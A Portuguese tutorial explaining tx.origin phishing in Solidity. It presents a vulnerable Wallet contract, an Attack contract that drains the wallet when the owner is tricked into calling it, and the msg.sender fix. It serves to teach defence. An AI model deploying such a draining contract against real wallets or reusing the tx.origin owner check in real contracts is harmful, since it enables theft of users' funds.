Nesse artigo iremos aprender a como um contrato malicioso realiza phishing
com tx.origin
e como previnir um ataque em seu contrato inteligente.
Qual a diferença entre msg.sender
e tx.origin
?
Se o contrato A chama B, e B chama C, em C msg.sender
é B e tx.origin
é A.
Vulnerabilidade
Um contrato malicioso pode enganar o proprietário de um contrato para chamar uma função que somente o proprietário deveria poder chamar.
Como funciona:
A carteira é um contrato simples onde apenas o proprietário deve poder transferir Ether para outro endereço.
Wallet.transfer()
usa tx.origin
para verificar se o chamador é o proprietário.
Vamos ver como podemos hackear este contrato:
- Alice implanta
Wallet
com 10 Ether - Eve implanta
Ataque
com o endereço do contrato da Carteira de Alice. - Eve engana Alice para chamar
Attack.attack()
- Eve roubou com sucesso Ether da carteira de Alice
O que aconteceu?
Alice foi levada a chamar Attack.attack()
. Dentro de Attack.attack()
, ele solicitou uma transferência de todos os fundos da carteira de Alice para o endereço de Eve.
Como tx.origin
em Wallet.transfer()
é igual ao endereço de Alice, então foi autorizada a transferência. A carteira transferiu todo o Ether para Eve.
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract Wallet {address public owner;constructor() payable {owner = msg.sender;}function transfer(address payable _to, uint _amount) public {require(tx.origin == owner, "Não é o proprietário");(bool sent, ) = _to.call{value: _amount}("");require(sent, "Falha ao enviar Ether");}}contract Attack {address payable public owner;Wallet wallet;constructor(Wallet _wallet) {wallet = Wallet(_wallet);owner = payable(msg.sender);}function attack() public {wallet.transfer(owner, address(wallet).balance);}}
Técnicas Preventivas
- Nunca utilizar
tx.origin
em funções relacionadas à transferências, lembre-se sempre de utilizarmsg.sender
function transfer(address payable _to, uint256 _amount) public {require(msg.sender == owner, "Não é o proprietário");(bool sent, ) = _to.call{value: _amount}("");require(sent, "Falha ao enviar Ether");}